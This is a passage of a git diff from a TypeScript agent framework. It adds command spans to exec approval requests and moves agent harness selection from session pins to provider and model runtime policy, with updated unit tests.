"../infra/exec-approvals.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { DEFAULT_APPROVAL_REQUEST_TIMEOUT_MS, @@ -6,6 +11,17 @@ import { } from "./bash-tools.exec-runtime.js"; import { callGatewayTool } from "./tools/gateway.js"; +type ExecApprovalCommandSpansRuntime = + typeof import("./bash-tools.exec-approval-request.runtime.js"); + +let execApprovalCommandSpansRuntimePromise: Promise | null = null; + +function loadExecApprovalCommandSpansRuntime(): Promise { + execApprovalCommandSpansRuntimePromise ??= + import("./bash-tools.exec-approval-request.runtime.js"); + return execApprovalCommandSpansRuntimePromise; +} + export type RequestExecApprovalDecisionParams = { id: string; command?: string; @@ -18,6 +34,7 @@ export type RequestExecApprovalDecisionParams = { security: ExecSecurity; ask: ExecAsk; warningText?: string; + commandSpans?: ExecApprovalCommandSpan[]; agentId?: string; resolvedPath?: string; sessionKey?: string; @@ -47,6 +64,7 @@ function buildExecApprovalRequestToolParams( security: params.security, ask: params.ask, warningText: params.warningText, + commandSpans: params.commandSpans, agentId: params.agentId, resolvedPath: params.resolvedPath, sessionKey: params.sessionKey, @@ -159,6 +177,7 @@ type HostExecApprovalParams = { security: ExecSecurity; ask: ExecAsk; warningText?: string; + commandSpans?: ExecApprovalCommandSpan[]; agentId?: string; resolvedPath?: string; sessionKey?: string; @@ -201,9 +220,26 @@ export function buildExecApprovalTurnSourceContext( }; } -function buildHostApprovalDecisionParams( +async function resolveCommandSpans( + command: string | undefined, +): Promise { + if (!command) { + return undefined; + } + try { + const { resolveExecApprovalCommandSpans } = await loadExecApprovalCommandSpansRuntime(); + return await resolveExecApprovalCommandSpans(command); + } catch { + return undefined; + } +} + +async function buildHostApprovalDecisionParams( params: HostExecApprovalParams, -): RequestExecApprovalDecisionParams { +): Promise { + const commandSpans = + params.commandSpans ?? + (await resolveCommandSpans(params.command ?? params.systemRunPlan?.commandText)); return { id: params.approvalId, command: params.command, @@ -216,6 +252,7 @@ function buildHostApprovalDecisionParams( security: params.security, ask: params.ask, warningText: params.warningText, + commandSpans, ...buildExecApprovalRequesterContext({ agentId: params.agentId, sessionKey: params.sessionKey, @@ -228,13 +265,13 @@ function buildHostApprovalDecisionParams( export async function requestExecApprovalDecisionForHost( params: HostExecApprovalParams, ): Promise { - return await requestExecApprovalDecision(buildHostApprovalDecisionParams(params)); + return await requestExecApprovalDecision(await buildHostApprovalDecisionParams(params)); } export async function registerExecApprovalRequestForHost( params: HostExecApprovalParams, ): Promise { - return await registerExecApprovalRequest(buildHostApprovalDecisionParams(params)); + return await registerExecApprovalRequest(await buildHostApprovalDecisionParams(params)); } export async function registerExecApprovalRequestForHostOrThrow( diff --git a/src/agents/bash-tools.exec-host-node.test.ts b/src/agents/bash-tools.exec-host-node.test.ts index b55fd997010..2d676736885 100644 --- a/src/agents/bash-tools.exec-host-node.test.ts +++ b/src/agents/bash-tools.exec-host-node.test.ts @@ -98,7 +98,7 @@ vi.mock("../infra/command-analysis/inline-eval.js", () => ({ })); vi.mock("../infra/node-shell.js", () => ({ - buildNodeShellCommand: vi.fn(() => ["bash", "-lc", "bun ./script.ts"]), + buildNodeShellCommand: vi.fn(() => ["/bin/sh", "-lc", "bun ./script.ts"]), })); vi.mock("../infra/system-run-approval-context.js", () => ({ @@ -332,9 +332,9 @@ describe("executeNodeHostCommand", () => { expect(result.details?.status).toBe("approval-pending"); expect(parsePreparedSystemRunPayloadMock).not.toHaveBeenCalled(); const expectedPlan = { - argv: ["bash", "-lc", "bun ./script.ts"], + argv: ["/bin/sh", "-lc", "bun ./script.ts"], cwd: "/tmp/work", - commandText: 'bash -lc "bun ./script.ts"', + commandText: '/bin/sh -lc "bun ./script.ts"', commandPreview: "bun ./script.ts", agentId: "requested-agent", sessionKey: "requested-session", @@ -383,7 +383,7 @@ describe("executeNodeHostCommand", () => { expect.objectContaining({ command: "system.run", params: expect.objectContaining({ - command: ["bash", "-lc", "bun ./script.ts"], + command: ["/bin/sh", "-lc", "bun ./script.ts"], rawCommand: "bun ./script.ts", suppressNotifyOnExit: true, timeoutMs: 30_000, diff --git a/src/agents/btw.ts b/src/agents/btw.ts index 4793536830b..4bcf0fc0aca 100644 --- a/src/agents/btw.ts +++ b/src/agents/btw.ts @@ -256,8 +256,6 @@ async function resolveRuntimeModel(params: { agentId: params.agentId, sessionKey: params.sessionKey, }).runtime, - sessionAgentHarnessId: params.sessionEntry?.agentHarnessId, - sessionAgentRuntimeOverride: params.sessionEntry?.agentRuntimeOverride, }), agentDir: params.agentDir, sessionEntry: params.sessionEntry, diff --git a/src/agents/command/attempt-execution.cli.test.ts b/src/agents/command/attempt-execution.cli.test.ts index 878ee0af1d6..ebb71c0c3d4 100644 --- a/src/agents/command/attempt-execution.cli.test.ts +++ b/src/agents/command/attempt-execution.cli.test.ts @@ -539,7 +539,7 @@ describe("CLI attempt execution", () => { embeddedAssistantGapFill: true, }); - const messages = await readSessionMessages(sessionFile!); + const messages = await readSessionMessages(sessionFile); expect(messages).toHaveLength(3); expect(messages.map((message) => message.role)).toEqual(["assistant", "user", "assistant"]); expect(messages[2]).toMatchObject({ @@ -653,7 +653,9 @@ describe("CLI attempt execution", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, }, }, } as OpenClawConfig, @@ -708,7 +710,9 @@ describe("CLI attempt execution", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "codex-cli" }, + models: { + "openai/gpt-5.4": { agentRuntime: { id: "codex-cli" } }, + }, }, }, } as OpenClawConfig, @@ -890,7 +894,7 @@ describe("embedded attempt harness pinning", () => { await fs.rm(tmpDir, { recursive: true, force: true }); }); - it("treats legacy OpenAI sessions with history as Codex-pinned", async () => { + it("does not store a session harness pin for default OpenAI Codex routing", async () => { const sessionEntry: SessionEntry = { sessionId: "legacy-session", updatedAt: Date.now(), @@ -929,12 +933,57 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); - it("pins sessions with history to the configured Codex harness instead of PI", async () => { + it("ignores stale session Codex harness pins on non-OpenAI model switches", async () => { + const sessionEntry: SessionEntry = { + sessionId: "mixed-provider-session", + updatedAt: Date.now(), + agentHarnessId: "codex", + }; + runEmbeddedPiAgentMock.mockResolvedValueOnce({ + meta: { durationMs: 1 }, + } satisfies EmbeddedPiRunResult); + + await runAgentAttempt({ + providerOverride: "minimax", + originalProvider: "minimax", + modelOverride: "minimax-m2.7", + cfg: {} as OpenClawConfig, + sessionEntry, + sessionId: sessionEntry.sessionId, + sessionKey: "agent:main:main", + sessionAgentId: "main", + sessionFile: path.join(tmpDir, "session.jsonl"), + workspaceDir: tmpDir, + body: "switch to minimax", + isFallbackRetry: false, + resolvedThinkLevel: "medium", + timeoutMs: 1_000, + runId: "run-mixed-provider-auto-runtime", + opts: { senderIsOwner: false } as Parameters[0]["opts"], + runContext: {} as Parameters[0]["runContext"], + spawnedBy: undefined, + messageChannel: undefined, + skillsSnapshot: undefined, + resolvedVerboseLevel: undefined, + agentDir: tmpDir, + onAgentEvent: vi.fn(), + authProfileProvider: "minimax", + sessionHasHistory: true, + }); + + expect(runEmbeddedPiAgent).toHaveBeenCalledWith( + expect.objectContaining({ + agentHarnessId: undefined, + }), + ); + }); + + it("lets provider/model runtime policy choose Codex without storing a session harness pin", async () => { const sessionEntry: SessionEntry = { sessionId: "codex-history-session", updatedAt: Date.now(), @@ -948,9 +997,13 @@ describe("embedded attempt harness pinning", () => { originalProvider: "codex", modelOverride: "gpt-5.4", cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, + models: { + providers: { + codex: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -979,7 +1032,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); @@ -1038,7 +1091,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, authProfileId: "openai-codex:work", authProfileIdSource: "auto", }), @@ -1084,12 +1137,12 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); - it("repairs stale OpenAI sessions pinned to PI back to the default Codex harness", async () => { + it("ignores stale OpenAI sessions pinned to PI and relies on default Codex routing", async () => { const sessionEntry: SessionEntry = { sessionId: "stale-pi-session", updatedAt: Date.now(), @@ -1130,7 +1183,7 @@ describe("embedded attempt harness pinning", () => { expect(runEmbeddedPiAgentMock).toHaveBeenCalledWith( expect.objectContaining({ provider: "openai", - agentHarnessId: "codex", + agentHarnessId: undefined, }), ); }); @@ -1151,9 +1204,13 @@ describe("embedded attempt harness pinning", () => { originalProvider: "openai", modelOverride: "gpt-5.4", cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "pi" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -1184,7 +1241,7 @@ describe("embedded attempt harness pinning", () => { expect.objectContaining({ provider: "openai-codex", model: "gpt-5.4", - agentHarnessId: "pi", + agentHarnessId: undefined, authProfileId: "openai-codex:work", authProfileIdSource: "user", }), diff --git a/src/agents/command/attempt-execution.ts b/src/agents/command/attempt-execution.ts index 53c697dc3c6..c45db13622b 100644 --- a/src/agents/command/attempt-execution.ts +++ b/src/agents/command/attempt-execution.ts @@ -21,10 +21,9 @@ import { runCliAgent } from "../cli-runner.js"; import { getCliSessionBinding, setCliSessionBinding } from "../cli-session.js"; import { FailoverError } from "../failover-error.js"; import { resolveAgentHarnessPolicy } from "../harness/selection.js"; -import { isCliRuntimeAlias, resolveCliRuntimeExecutionProvider } from "../model-runtime-aliases.js"; +import { resolveCliRuntimeExecutionProvider } from "../model-runtime-aliases.js"; import { isCliProvider } from "../model-selection.js"; -import { isOpenAIProvider, resolveOpenAIRuntimeProviderForPi } from "../openai-codex-routing.js"; -import { normalizeEmbeddedAgentRuntime } from "../pi-embedded-runner/runtime.js"; +import { resolveOpenAIRuntimeProviderForPi } from "../openai-codex-routing.js"; import { runEmbeddedPiAgent, type EmbeddedPiRunResult } from "../pi-embedded.js"; import { buildAgentRuntimeAuthPlan } from "../runtime-plan/auth.js"; import { @@ -409,28 +408,14 @@ export function runAgentAttempt(params: { ); const bootstrapPromptWarningSignature = bootstrapPromptWarningSignaturesSeen[bootstrapPromptWarningSignaturesSeen.length - 1]; - const sessionPinnedAgentHarnessId = isRawModelRun - ? "pi" - : resolveSessionPinnedAgentHarnessId({ - cfg: params.cfg, - sessionAgentId: params.sessionAgentId, - sessionEntry: params.sessionEntry, - sessionHasHistory: params.sessionHasHistory, - sessionId: params.sessionId, - sessionKey: params.sessionKey ?? params.sessionId, - provider: params.providerOverride, - modelId: params.modelOverride, - }); - const agentRuntimeOverride = isRawModelRun - ? undefined - : params.sessionEntry?.agentRuntimeOverride?.trim(); + const requestedAgentHarnessId = isRawModelRun ? "pi" : undefined; const cliExecutionProvider = isRawModelRun ? params.providerOverride : (resolveCliRuntimeExecutionProvider({ provider: params.providerOverride, cfg: params.cfg, agentId: params.sessionAgentId, - runtimeOverride: agentRuntimeOverride, + modelId: params.modelOverride, }) ?? params.providerOverride); const agentHarnessPolicy = isRawModelRun ? ({ runtime: "pi" } as const) @@ -449,7 +434,7 @@ export function runAgentAttempt(params: { authProfileProvider: params.authProfileProvider, sessionAuthProfileId: params.sessionEntry?.authProfileOverride, sessionAuthProfileSource: params.sessionEntry?.authProfileOverrideSource, - harnessId: sessionPinnedAgentHarnessId, + harnessId: requestedAgentHarnessId, harnessRuntime: agentHarnessPolicy.runtime, allowHarnessAuthProfileForwarding: !isCliProvider(cliExecutionProvider, params.cfg), }); @@ -459,7 +444,7 @@ export function runAgentAttempt(params: { sessionAuthProfileId: harnessAuthSelection.authProfileId, config: params.cfg, workspaceDir: params.workspaceDir, - harnessId: sessionPinnedAgentHarnessId, + harnessId: requestedAgentHarnessId, harnessRuntime: agentHarnessPolicy.runtime, allowHarnessAuthProfileForwarding: !isCliProvider(cliExecutionProvider, params.cfg), }); @@ -467,7 +452,7 @@ export function runAgentAttempt(params: { const embeddedPiProvider = resolveOpenAIRuntimeProviderForPi({ provider: params.providerOverride, harnessRuntime: agentHarnessPolicy.runtime, - agentHarnessId: sessionPinnedAgentHarnessId, + agentHarnessId: requestedAgentHarnessId, authProfileProvider: runtimeAuthPlan.authProfileProviderForAuth, authProfileId, config: params.cfg, @@ -618,7 +603,7 @@ export function runAgentAttempt(params: { sessionFile: params.sessionFile, workspaceDir: params.workspaceDir, config: params.cfg, - agentHarnessId: sessionPinnedAgentHarnessId, + agentHarnessId: requestedAgentHarnessId, skillsSnapshot: params.skillsSnapshot, prompt: effectivePrompt, images: params.isFallbackRetry ? undefined : params.opts.images, @@ -656,72 +641,6 @@ export function runAgentAttempt(params: { }); } -function resolveSessionPinnedAgentHarnessId(params: { - cfg: OpenClawConfig; - sessionAgentId: string; - sessionEntry?: SessionEntry; - sessionHasHistory?: boolean; - sessionId: string; - sessionKey: string; - provider: string; - modelId?: string; -}): string | undefined { - if (params.sessionEntry?.sessionId !== params.sessionId) { - return resolveConfiguredAgentHarnessId(params); - } - if (params.sessionEntry.agentHarnessId) { - if (isOpenAIProvider(params.provider)) { - const configuredPolicy = resolveAgentHarnessPolicy({ - config: params.cfg, - agentId: params.sessionAgentId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - }); - const configuredAgentHarnessId = - configuredPolicy.runtime === "auto" || isCliRuntimeAlias(configuredPolicy.runtime) - ? undefined - : configuredPolicy.runtime; - const storedRuntime = normalizeEmbeddedAgentRuntime(params.sessionEntry.agentHarnessId); - if (configuredAgentHarnessId && configuredPolicy.runtimeSource !== "implicit") { - return configuredAgentHarnessId; - } - if (storedRuntime === "pi" && configuredAgentHarnessId) { - return configuredAgentHarnessId; - } - } - return params.sessionEntry.agentHarnessId; - } - const configuredAgentHarnessId = resolveConfiguredAgentHarnessId(params); - if (configuredAgentHarnessId) { - return configuredAgentHarnessId; - } - if (!params.sessionHasHistory) { - return undefined; - } - return "pi"; -} - -function resolveConfiguredAgentHarnessId(params: { - cfg: OpenClawConfig; - sessionAgentId: string; - sessionKey: string; - provider: string; - modelId?: string; -}): string | undefined { - const policy = resolveAgentHarnessPolicy({ - config: params.cfg, - agentId: params.sessionAgentId, - sessionKey: params.sessionKey, - provider: params.provider, - modelId: params.modelId, - }); - if (policy.runtime === "auto" || isCliRuntimeAlias(policy.runtime)) { - return undefined; - } - return policy.runtime; -} - export function buildAcpResult(params: { payloadText: string; startedAt: number; diff --git a/src/agents/harness-runtimes.ts b/src/agents/harness-runtimes.ts index e973ecf5fae..bfdf17b02c0 100644 --- a/src/agents/harness-runtimes.ts +++ b/src/agents/harness-runtimes.ts @@ -1,10 +1,10 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; import { isRecord } from "../utils.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; -import { isCliRuntimeAlias } from "./model-runtime-aliases.js"; +import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { modelSelectionShouldEnsureCodexPlugin } from "./openai-codex-routing.js"; import { normalizeEmbeddedAgentRuntime } from "./pi-embedded-runner/runtime.js"; +import { normalizeProviderId } from "./provider-id.js"; function normalizeRuntimeId(value: unknown): string | undefined { if (typeof value !== "string") { @@ -38,20 +38,73 @@ function listAgentModelRefs(value: unknown): string[] { return refs; } -function hasOpenAIModelRef(config: OpenClawConfig, value: unknown): boolean { +function parseConfiguredModelRef( + value: unknown, +): { provider: string; modelId: string } | undefined { + if (typeof value !== "string") { + return undefined; + } + const trimmed = value.trim(); + const slash = trimmed.indexOf("/"); + if (slash <= 0 || slash >= trimmed.length - 1) { + return undefined; + } + return { + provider: normalizeProviderId(trimmed.slice(0, slash)), + modelId: trimmed.slice(slash + 1).trim(), + }; +} + +function hasOpenAIModelRef(config: OpenClawConfig, value: unknown, agentId?: string): boolean { return listAgentModelRefs(value).some((ref) => { - return modelSelectionShouldEnsureCodexPlugin({ model: ref, config }); + if (!modelSelectionShouldEnsureCodexPlugin({ model: ref, config })) { + return false; + } + const parsed = parseConfiguredModelRef(ref); + const policy = resolveModelRuntimePolicy({ + config, + provider: parsed?.provider, + modelId: parsed?.modelId, + agentId, + }); + const runtime = normalizeRuntimeId(policy.policy?.id); + return !runtime || runtime === "auto" || runtime === "codex"; }); } -function openAIModelUsesImplicitCodexHarness(runtime: string | undefined): boolean { - if (!runtime || runtime === "auto") { - return true; +function pushConfiguredModelRuntimeIds(config: OpenClawConfig, runtimes: Set): void { + for (const providerConfig of Object.values(config.models?.providers ?? {})) { + const providerRuntime = normalizeRuntimeId(providerConfig?.agentRuntime?.id); + if (providerRuntime && providerRuntime !== "auto" && providerRuntime !== "pi") { + runtimes.add(providerRuntime); + } + for (const modelConfig of providerConfig?.models ?? []) { + const modelRuntime = normalizeRuntimeId(modelConfig?.agentRuntime?.id); + if (modelRuntime && modelRuntime !== "auto" && modelRuntime !== "pi") { + runtimes.add(modelRuntime); + } + } } - if (runtime === "pi") { - return false; + const pushModelMapRuntimeIds = (models: unknown) => { + if (!isRecord(models)) { + return; + } + for (const entry of Object.values(models)) { + if (!isRecord(entry)) { + continue; + } + const runtime = normalizeRuntimeId( + isRecord(entry.agentRuntime) ? entry.agentRuntime.id : undefined, + ); + if (runtime && runtime !== "auto" && runtime !== "pi") { + runtimes.add(runtime); + } + } + }; + pushModelMapRuntimeIds(config.agents?.defaults?.models); + for (const agent of config.agents?.list ?? []) { + pushModelMapRuntimeIds(agent.models); } - return runtime === "codex" || isCliRuntimeAlias(runtime); } export function collectConfiguredAgentHarnessRuntimes( @@ -59,40 +112,27 @@ export function collectConfiguredAgentHarnessRuntimes( env: NodeJS.ProcessEnv, ): string[] { const runtimes = new Set(); - const pushRuntime = (value: unknown) => { - const normalized = normalizeRuntimeId(value); - if (!normalized || normalized === "auto" || normalized === "pi") { - return; - } - runtimes.add(normalized); - }; - const pushCodexForOpenAIModel = (model: unknown, runtime: string | undefined) => { - if (hasOpenAIModelRef(config, model) && openAIModelUsesImplicitCodexHarness(runtime)) { + const pushCodexForOpenAIModel = (model: unknown, agentId?: string) => { + if (hasOpenAIModelRef(config, model, agentId)) { runtimes.add("codex"); } }; - const envRuntime = normalizeRuntimeId(env.OPENCLAW_AGENT_RUNTIME); - const defaultsRuntime = normalizeRuntimeId( - resolveAgentRuntimePolicy(config.agents?.defaults)?.id, - ); + void env; + pushConfiguredModelRuntimeIds(config, runtimes); const defaultsModel = config.agents?.defaults?.model; - pushRuntime(defaultsRuntime); - pushCodexForOpenAIModel(defaultsModel, envRuntime ?? defaultsRuntime); + pushCodexForOpenAIModel(defaultsModel); if (Array.isArray(config.agents?.list)) { for (const agent of config.agents.list) { if (!isRecord(agent)) { continue; } - const agentRuntime = normalizeRuntimeId(resolveAgentRuntimePolicy(agent)?.id); - pushRuntime(agentRuntime); pushCodexForOpenAIModel( agent.model ?? defaultsModel, - envRuntime ?? agentRuntime ?? defaultsRuntime, + typeof agent.id === "string" ? agent.id : undefined, ); } } - pushRuntime(envRuntime); return [...runtimes].toSorted((left, right) => left.localeCompare(right)); } diff --git a/src/agents/harness/policy.ts b/src/agents/harness/policy.ts new file mode 100644 index 00000000000..c931b606591 --- /dev/null +++ b/src/agents/harness/policy.ts @@ -0,0 +1,56 @@ +import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { resolveModelRuntimePolicy } from "../model-runtime-policy.js"; +import { + isOpenAICodexProvider, + openAIProviderUsesCodexRuntimeByDefault, +} from "../openai-codex-routing.js"; +import { + normalizeEmbeddedAgentRuntime, + type EmbeddedAgentRuntime, +} from "../pi-embedded-runner/runtime.js"; + +export type AgentHarnessPolicy = { + runtime: EmbeddedAgentRuntime; + runtimeSource?: "model" | "provider" | "implicit"; +}; + +export function resolveAgentHarnessPolicy(params: { + provider?: string; + modelId?: string; + config?: OpenClawConfig; + agentId?: string; + sessionKey?: string; + env?: NodeJS.ProcessEnv; +}): AgentHarnessPolicy { + const configured = resolveModelRuntimePolicy({ + config: params.config, + provider: params.provider, + modelId: params.modelId, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + const configuredRuntime = configured.policy?.id?.trim(); + const runtimeSource = configured.source ?? "implicit"; + const runtime = + configuredRuntime && configuredRuntime !== "default" + ? normalizeEmbeddedAgentRuntime(configuredRuntime) + : "auto"; + if ( + openAIProviderUsesCodexRuntimeByDefault({ provider: params.provider, config: params.config }) + ) { + if (runtime === "auto") { + return { runtime: "codex", runtimeSource }; + } + return { runtime, runtimeSource }; + } + if (isOpenAICodexProvider(params.provider)) { + if (runtime === "auto") { + return { runtime: "codex", runtimeSource }; + } + return { runtime, runtimeSource }; + } + return { + runtime, + runtimeSource, + }; +} diff --git a/src/agents/harness/registry.test.ts b/src/agents/harness/registry.test.ts index cddd07d2b5e..a9b7c09bc3b 100644 --- a/src/agents/harness/registry.test.ts +++ b/src/agents/harness/registry.test.ts @@ -1,4 +1,5 @@ import { afterEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { clearAgentHarnesses, disposeRegisteredAgentHarnesses, @@ -45,6 +46,20 @@ function makeHarness( }; } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + describe("agent harness registry", () => { it("registers and retrieves a harness with owner metadata", () => { const harness = makeHarness("custom"); @@ -132,21 +147,31 @@ describe("agent harness registry", () => { expect(selectAgentHarness({ provider: "codex", modelId: "gpt-5.4" }).id).toBe("plugin-harness"); }); - it("honors explicit PI mode", () => { - process.env.OPENCLAW_AGENT_RUNTIME = "pi"; + it("honors explicit provider PI runtime policy", () => { registerAgentHarness(makeHarness("plugin-harness", { priority: 200 }), { ownerPluginId: "plugin-a", }); - expect(selectAgentHarness({ provider: "codex", modelId: "gpt-5.4" }).id).toBe("pi"); + expect( + selectAgentHarness({ + provider: "codex", + modelId: "gpt-5.4", + config: providerRuntimeConfig("codex", "pi"), + }).id, + ).toBe("pi"); }); - it("honors explicit plugin harness mode when the plugin harness is registered", () => { - process.env.OPENCLAW_AGENT_RUNTIME = "custom"; + it("honors explicit provider plugin runtime policy when the plugin harness is registered", () => { registerAgentHarness(makeHarness("custom", { providers: ["custom-provider"] }), { ownerPluginId: "plugin-a", }); - expect(selectAgentHarness({ provider: "anthropic", modelId: "sonnet-4.6" }).id).toBe("custom"); + expect( + selectAgentHarness({ + provider: "anthropic", + modelId: "sonnet-4.6", + config: providerRuntimeConfig("anthropic", "custom"), + }).id, + ).toBe("custom"); }); }); diff --git a/src/agents/harness/selection.test.ts b/src/agents/harness/selection.test.ts index 72085a5e421..faff2b5b991 100644 --- a/src/agents/harness/selection.test.ts +++ b/src/agents/harness/selection.test.ts @@ -110,20 +110,58 @@ function registerSuccessfulCodexHarness(): void { ); } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + +function agentModelRuntimeConfig( + modelRef: string, + runtime: string, + agentId?: string, +): OpenClawConfig { + if (agentId) { + return { + agents: { + list: [ + { id: "main", default: true }, + { id: agentId, models: { [modelRef]: { agentRuntime: { id: runtime } } } }, + ], + }, + } as OpenClawConfig; + } + return { + agents: { + defaults: { + models: { + [modelRef]: { agentRuntime: { id: runtime } }, + }, + }, + }, + } as OpenClawConfig; +} + describe("runAgentHarnessAttempt", () => { it("fails when a forced plugin harness is unavailable and fallback is omitted", async () => { process.env.OPENCLAW_AGENT_RUNTIME = "codex"; - await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( - 'Requested agent harness "codex" is not registered.', - ); + await expect( + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), + ).rejects.toThrow('Requested agent harness "codex" is not registered.'); expect(piRunAttempt).not.toHaveBeenCalled(); }); it("falls back to the PI harness in auto mode when no plugin harness matches", async () => { - const result = await runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "auto" } } } }), - ); + const result = await runAgentHarnessAttempt(createAttemptParams()); expect(result.sessionIdUsed).toBe("pi"); expect(piRunAttempt).toHaveBeenCalledTimes(1); @@ -132,30 +170,26 @@ describe("runAgentHarnessAttempt", () => { it("surfaces an auto-selected plugin harness failure instead of replaying through PI", async () => { registerFailingCodexHarness(); - await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "auto" } } } }), - ), - ).rejects.toThrow("codex startup failed"); + await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( + "codex startup failed", + ); expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("uses PI by default even when plugin harnesses would support the model", async () => { + it("auto-selects a supporting plugin harness by default", async () => { registerFailingCodexHarness(); - const result = await runAgentHarnessAttempt(createAttemptParams()); - - expect(result.sessionIdUsed).toBe("pi"); - expect(piRunAttempt).toHaveBeenCalledTimes(1); + await expect(runAgentHarnessAttempt(createAttemptParams())).rejects.toThrow( + "codex startup failed", + ); + expect(piRunAttempt).not.toHaveBeenCalled(); }); it("surfaces a forced plugin harness failure instead of replaying through PI", async () => { registerFailingCodexHarness(); await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "codex" } } } }), - ), + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow("codex startup failed"); expect(piRunAttempt).not.toHaveBeenCalled(); }); @@ -178,9 +212,7 @@ describe("runAgentHarnessAttempt", () => { it("honors explicit PI runtime for OpenAI agent model runs", async () => { await expect( runAgentHarnessAttempt({ - ...createAttemptParams({ - agents: { defaults: { agentRuntime: { id: "pi" } } }, - }), + ...createAttemptParams(providerRuntimeConfig("openai", "pi")), provider: "openai", modelId: "gpt-5.4", }), @@ -204,9 +236,7 @@ describe("runAgentHarnessAttempt", () => { { ownerPluginId: "codex" }, ); - const params = createAttemptParams({ - agents: { defaults: { agentRuntime: { id: "auto" } } }, - }); + const params = createAttemptParams(); const result = await runAgentHarnessAttempt(params); expect(classify).toHaveBeenCalledWith( @@ -221,22 +251,15 @@ describe("runAgentHarnessAttempt", () => { it("fails for config-forced plugin harnesses when fallback is omitted", async () => { await expect( - runAgentHarnessAttempt( - createAttemptParams({ agents: { defaults: { agentRuntime: { id: "codex" } } } }), - ), + runAgentHarnessAttempt(createAttemptParams(providerRuntimeConfig("codex", "codex"))), ).rejects.toThrow('Requested agent harness "codex" is not registered'); expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("does not let a strict agent plugin runtime fall back to PI", async () => { + it("does not let a strict agent model plugin runtime fall back to PI", async () => { await expect( runAgentHarnessAttempt({ - ...createAttemptParams({ - agents: { - defaults: { agentRuntime: { id: "auto" } }, - list: [{ id: "strict", agentRuntime: { id: "codex" } }], - }, - }), + ...createAttemptParams(agentModelRuntimeConfig("codex/gpt-5.4", "codex", "strict")), sessionKey: "agent:strict:session-1", }), ).rejects.toThrow('Requested agent harness "codex" is not registered'); @@ -245,7 +268,7 @@ describe("runAgentHarnessAttempt", () => { }); describe("selectAgentHarness", () => { - it("defaults to PI unless auto runtime is explicitly selected", () => { + it("auto-selects plugin support by default", () => { const supports = vi.fn(() => ({ supported: true as const, priority: 100 })); registerAgentHarness({ id: "codex", @@ -259,8 +282,8 @@ describe("selectAgentHarness", () => { modelId: "gpt-5.4", }); - expect(harness.id).toBe("pi"); - expect(supports).not.toHaveBeenCalled(); + expect(harness.id).toBe("codex"); + expect(supports).toHaveBeenCalledTimes(1); }); it("auto-selects the highest-priority plugin harness without duplicate support probes", () => { @@ -309,7 +332,6 @@ describe("selectAgentHarness", () => { const harness = selectAgentHarness({ provider: "codex", modelId: "gpt-5.4", - config: { agents: { defaults: { agentRuntime: { id: "auto" } } } }, }); expect(harness.id).toBe("codex-high"); @@ -318,7 +340,7 @@ describe("selectAgentHarness", () => { expect(unsupportedSupports).toHaveBeenCalledTimes(1); }); - it("keeps pinned PI selection from probing plugin support", () => { + it("ignores session-level PI pins when selecting a harness", () => { const supports = vi.fn(() => ({ supported: true as const, priority: 100 })); registerAgentHarness({ id: "codex", @@ -333,20 +355,12 @@ describe("selectAgentHarness", () => { agentHarnessId: "pi", }); - expect(harness.id).toBe("pi"); - expect(supports).not.toHaveBeenCalled(); + expect(harness.id).toBe("codex"); + expect(supports).toHaveBeenCalledTimes(1); }); - it("allows per-agent runtime policy overrides", () => { - const config: OpenClawConfig = { - agents: { - defaults: { agentRuntime: { id: "auto" } }, - list: [ - { id: "main", default: true }, - { id: "strict", agentRuntime: { id: "codex" } }, - ], - }, - }; + it("allows per-agent model runtime policy overrides", () => { + const config = agentModelRuntimeConfig("anthropic/sonnet-4.6", "codex", "strict"); expect(() => selectAgentHarness({ @@ -361,14 +375,14 @@ describe("selectAgentHarness", () => { ); }); - it("uses agentRuntime as the runtime policy source", () 